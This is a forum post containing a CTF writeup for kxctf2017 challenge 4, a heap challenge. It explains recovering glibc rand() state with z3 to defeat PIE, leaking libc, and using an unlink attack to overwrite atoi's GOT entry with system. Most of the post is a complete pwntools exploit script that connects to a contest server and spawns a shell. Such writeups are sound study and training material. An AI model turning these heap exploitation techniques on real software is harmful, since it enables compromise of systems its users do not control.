首页
社区
课程
招聘
[原创]kxctf2017 第四题 writeup
发表于: 2017-11-1 13:09 4320

[原创]kxctf2017 第四题 writeup

2017-11-1 13:09
4320

程序功能

有5次malloc的机会,大小递增,只有2、3两个可以free,并且free和write、show都是任意的,全局变量中有指向堆的指针。

构思

造出small bin,free就可以泄漏libc,然后很容易想到用unlink去做,并且这里有很方便的atoi,改为system即可。但是本题有PIE,于是要想办法leak出程序的信息。

 

仔细研究发现有个奇葩的猜随机数功能,猜错给出当前随机数,根据glibc的rand实现可知,内部有31个状态,找到93次输出,用z3就可以解出所有的状态,并预测下一次。

 

预测成功就可以拿到seed的地址,这是一个.bss段的地址,根据偏移就可以推算出堆指针和got entry的地址,用unlink利用即可。

利用

from pwn import *
from z3 import *

import sys 
if len(sys.argv) > 1:
    r = remote('123.206.22.95', 8888)
else:
    r = remote('127.0.0.1', 4444)
context.arch = 'amd64'

offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7940
offset_read = 0x00000000000f7220
offset_write = 0x00000000000f7280
offset_str_bin_sh = 0x18cd17


def get(i, size):
    r.sendlineafter('> ', '1')
    r.sendlineafter('> ', str(i))
    r.sendlineafter('> ', str(size))

def free(i):
    r.sendlineafter('> ', '2')
    r.sendlineafter('> ', str(i))

def write(i, msg):
    r.sendlineafter('> ', '3')
    r.sendlineafter('> ', str(i))
    r.send(msg)

def show(i):
    r.sendlineafter('> ', '4')
    r.sendlineafter('> ', str(i))
    c = r.recvuntil('You')
    c = c.replace('You', '')
    c = c.rstrip()
    return u64(c.ljust(8, '\x00'))

def guess(i):
    r.sendlineafter('> ', '5')
    r.sendlineafter('> ', str(i))
    r.recvuntil('!')
    maybe = r.recvuntil('!')
    value = int(maybe.split(' ')[-1].replace('!', ''))
    if 'secret' in maybe:
        return (1, value)
    return (0, value)

actual = []
state = [BitVec("state%d" % i, 32) for i in xrange(31)]
s = Solver()
for i in xrange(93):
    actual.append(guess(1)[1])

for i in xrange(93):
    state[(3+i)%31] += state[i%31]
    output = (state[(3+i) % 31] >> 1) & 0x7fffffff
    s.add(output == actual[i])

print s.check()
m = s.model()

for i in xrange(93, 93+31):
    state[(3+i) % 31] += state[i % 31]
    output = m.evaluate((state[(3+i) % 31] >> 1) & 0x7fffffff)
    actual = guess(output)
    assert actual[0] == 1
    break

context.log_level = 'debug'
offset_seed = 0x555555756148
offset_atoi_got = 0x555555756068
offset_box2 = 0x555555756110

seed_addr = actual[1]
print hex(seed_addr)
atoi_got = offset_atoi_got - offset_seed + seed_addr
box2 = offset_box2 - offset_seed + seed_addr
print hex(box2)
get(1, 24)
get(2, 0x90-8)
get(3, 0xa0-8)

free(2)
leak_libc = show(2)
libc_base = leak_libc - 0x3c4b78
print hex(libc_base)
system = offset_system + libc_base
print hex(system)

write(2, flat( 
    0,
    0x81,
    box2-0x18,
    box2-0x10,
    'A'*(0x90-8-8*5),
    0x80,
    '\xa0'
    ))
raw_input('#')
free(3)
write(2, flat(0, 0, 0, atoi_got) + '\n')
print `p64(system)`
write(2, p64(system) + '\n')
r.sendlineafter('> ', '/bin/sh\x00')

r.interactive()

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 441
活跃值: (419)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
6666666
2017-11-2 12:01
0
游客
登录 | 注册 方可回帖
返回
//